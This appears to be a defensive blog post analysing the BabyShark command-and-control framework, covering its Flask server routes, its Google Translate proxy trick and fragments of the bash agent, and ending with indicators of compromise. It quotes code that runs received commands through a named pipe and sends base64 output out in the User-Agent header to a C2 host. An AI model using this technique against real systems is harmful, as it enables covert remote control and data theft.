Understanding & Detecting C2 Frameworks — BabyShark

Nasreddine Bencherchali
9 min readJun 8, 2021

--

Hello and welcome to the fourth blog post in this series about understanding and detecting C2 frameworks.

As always if you haven’t checked the previous blogs. Please do via the following links

without further ado let’s get started.

BabyShark

This is a basic C2 generic server written in Python and Flask.

This code has based ideia to GTRS, which uses Google Translator as a proxy for sending commands to the infected host. The BabyShark project aims to centralize reverse connections with agents, creating a way to centralize several types of connections in one place.

BabyShark does not generate infection agents, but it does offer a template to connect to it.

The idea behind baby shark is to create a centralized server for different type of agents / connections. Currently (Beta 1.0) there is only one example agent provided and its based on a project called GTRS (Google Translate Reverse Shell). Which is a project that uses google translate as a proxy.

The C2 Server is written in Python (Flask) and the example agent is written in bash. With that let’s start the analysis.

Google Translate as a proxy

Before we dive into the source code, we first need to understand how can google translate be used as a proxy.

Google translate is used typically to translate words, paragraphs or documents. But it can also be used to translate web pages. By simply visiting the following URL and providing the web page we want to translate.

https://translate.google.com/translate?&anno=2&u=[URL OF WEB PAGE]

Google Translate will make a request to a website / page of our choice. Let me demonstrate this by requesting my own blog.

It looks nice :D

Simple right ? If we inspect the source of this page we’ll find that the content is loaded inside of an “iframe”. This “iframe” points to another URL.

Inspecting the source

If we follow it. After a couple of redirections we get the following URL.

https://y7t5ywjrrsywzq4aeo6x7rzg7u-b25orc35okxta-nasbench-medium-com.translate.goog/
Looks even better :D

We got our original web page now “hosted” on a google domain. If you’re thinking what if instead of doing this we insert a link to a C2 server? Well, that’s exactly the idea behind the GTRS project and BabyShark example agent.

C2 Server (app.py)

The server portion of “BabyShark” is composed of a web interface where the operators can send commands and visualize the output. These commands and results are stored inside of a database.

“BabyShark” main interface

The server defines 5 web routes that we can see in the screenshot below.

Web Routes

The main interface is defined in the “/” route and handled by the “home” function.

home (“/”)

“/” Route

The “/” route is mainly used by the operators of the C2 to send and view the results of their commands. This function will simply verify if there are results in the database and query / display data accordingly.

Below is an example of the interface showing the results of the “pwd” command.

Results interface

getcommand (“/momyshark”)

“getcommand” Function

The “getcommand” function is linked to the “/momyshark” path. This is the path that the agent(s) will request to receive commands.

This function start by verifying if the request contains the “key” parameter. The value of the key is defined at the start in a variable called “password”.

password = 'b4bysh4rk'

If the user don’t provide the correct key the server will display the following page.

Redirect page

This page contains a redirection to a YouTube video.

<meta http-equiv="refresh" content="0; url=https://www.youtube.com/watch?v=6aE0psDCIow">
Redirected YouTube video

Otherwise the function will split the “User-Agent” on the pipe character (“|”) and check if the length of the results is superior or equal to 2.

result = request.headers.get('User-Agent').split('|')
if len(result) >= 2:
[Extract Results]
[Send Commands]

This is done to verify if there are any results sent from the agent (we’ll discuss this more when we analyze the agent). If the check is successful the function simply parse and store the results in the database. Either way (If there are results or not) the page will send the next command(s) to be executed by the agent.

Below is an example of commands embedded within the page when requesting “/momyshark” with the correct key.

Mommy Shark ?
HTML source of Mommy Shark

create (“/create-task”)

“create” Function

The create function is linked to the “/create-task” path and accepts only post requests. This function will simply register the commands sent by the operators from the interface in the database.

done & delete

Both of these functions are simple wrappers to delete / update the state of a command. If we take a look at the database schema we’ll see that there are two tables with the following columns.

  • command (id, cmd, done)
  • results (id, results)

If we take the example of the “pwd” command from before and look at the state of the database.

Database Tables

We can see that the results have been stored and the command changed its “done” value to “1” meaning “completed”. The “done” function will simply inverse the state of a command in the command table.

“done” Function

So in this example calling the “done” function on that command will revert it back to “0”.

As for the “delete” function it’ll delete any command as long as you provide its ID

“delete” Function

This concludes the analysis of the server side of this framework. Now onto the agent.

Example Agent

As stated in their GitHub introduction. The “BabyShark” C2 does not generate agents. Fortunately for us they provide an example inspired by GTRS agent that we’re going to look at.

“Agent.sh”

The agent starts by setting some variables that are going to be used throughout the script.

running=truesecretkey="b4bysh4rk"user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"data="Content-Hype: "c2server="http://babyshark/momyshark?key=$secretkey"result=""input="/tmp/input"output="/tmp/output"

It then defines some functions

namedpipe

“namedpipe” Function

The agent start by creating a named pipe and an output file. The pipe will be used to receive the commands and the output file will contain the results.

By default the pipe and the file are located in the “/tmp” directory under the name “input” and “output” respectively.

input="/tmp/input"output="/tmp/output"

After creating the pipe we start main

main

“main” Function

As soon as we hit main a delay is enforced with the “sleep” function. We will sleep for 10 seconds and then we call the “callback” function.

talktotranslate

“talktotranslate” Function

As the name suggest this function is the one responsible for talking to google translate to extract the commands from the C2. To achieve this three other functions are called.

getfirsturl

“getfirsturl” Function

The “getfirsturl” function will make a call to the google translate domain and providing the URL in the “c2server” variable as a web page. By default the URL will look like this.

https://translate.google.com/translate?&anno=2&u=http://babyshark/momyshark?key=b4bysh4rk

And by default the following user-agent will be used

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36

Following the same approach we’ve talked about in the beginning. The function extracts the next URL from the “iFrame” using “xmllint” and some bash magic and passes the result to “getsecondurl”

getsecondurl

“getsecondurl” Function

This function will perform the same action as “getfirsturl” but this time it requests the URL extracted from the “iFrame” of the previous request. It also follows any redirections that google may throw at it by using the “-L” argument from curl.

https://translate.googleusercontent.com/translate_p?anno=2&u=http://babyshark/momyshark?key=b4bysh4rk&depth=1&rurl=translate.google.com&sp=nmt4&pto=aue,ajax,boq&usg=[Random String]

Using the same User-Agent by default

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36

getcommand

By now the URL should point to the translated version of the C2 server and requesting it should return the “momyshark” page. (See image below)

HTML source of Mommy Shark

The “getcommand” will extract the command following the structure of the website. In our example the “command” variable will contain

command=$(echo "$command" | xmllint --html --xpath '/html/body/main/div/div/div/div/ul/li/span/text()' - 2>/dev/null )echo $command
pwd # 1

With this the agent returns to main with the command to execute in hand (or should i say in variable…).

Going back to main

If the command is equal to the word “exit” then the agent is terminated. If not it executes the following set of commands

# Extract the ID
idcommand=$(echo $command | cut -d '#' -f2)
# Send command to the named pipe for execution
echo "$command" > "$input"
# Sleep for 2 seconds
sleep 2
# Read the output from the file and encode it to Base64
outputb64=$(cat $output | tr -d '\000' | base64 | tr -d '\n' 2>/dev/null)

The result will be concatenated to the User-Agent as follow

result="$user_agent | $outputb64 | $idcommand "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 | L2hvbWUvbi90b29scy9CYWJ5U2hhcmsK | 1

To send the results back to the C2 the agent will call the “talktotranslate” function but this time with the newly generated user-agent. The C2 server will split the result on the pipe and save it to the DB.

And with this, we concludes the analysis of the example agent. Let’s do a quick recap on the execution flow.

  1. The agent start by creating a named pipe and output file to save / execute commands sent by the C2.
  2. Send a request to google translate with the C2 server as a web page by calling the “talktotranslate” function.
  3. Receives the new URL for the “translated” C2.
  4. Extract the command from the HTML source.
  5. Send the command to the named pipe for execution.
  6. Encode the output to Base64.
  7. Concatenate the USER-AGENT with OUTPUT and ID.
  8. Request the “google-translate” server using the newly generated USER-AGENT.
  9. Repeat until it receives “exit” command.

Conclusion

That’s it for Baby Shark doo, doo, doo, doo, doo, doo (sorry not sorry). I hope it was helpful and you got something out of it. Until the next one. If you have any C2 frameworks suggestions or any feedback you can find me on twitter @nas_bench

Indicators

  • User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
  • “/tmp/input” & “/tmp/output” will be created on infected hosts
  • 10 second delay by default between the different batch of requests to Google translate
  • URL : “C2_IP/momyshark?key=”
  • Default Secret Key : b4bysh4rk
  • Binaries executed : “curl”, “base64”, “xmllint”, “mkfifo”, “cut”, “tr”, “sed”, “echo”, “cat” (See source above for arguments)

MITRE ATT&CK

--

--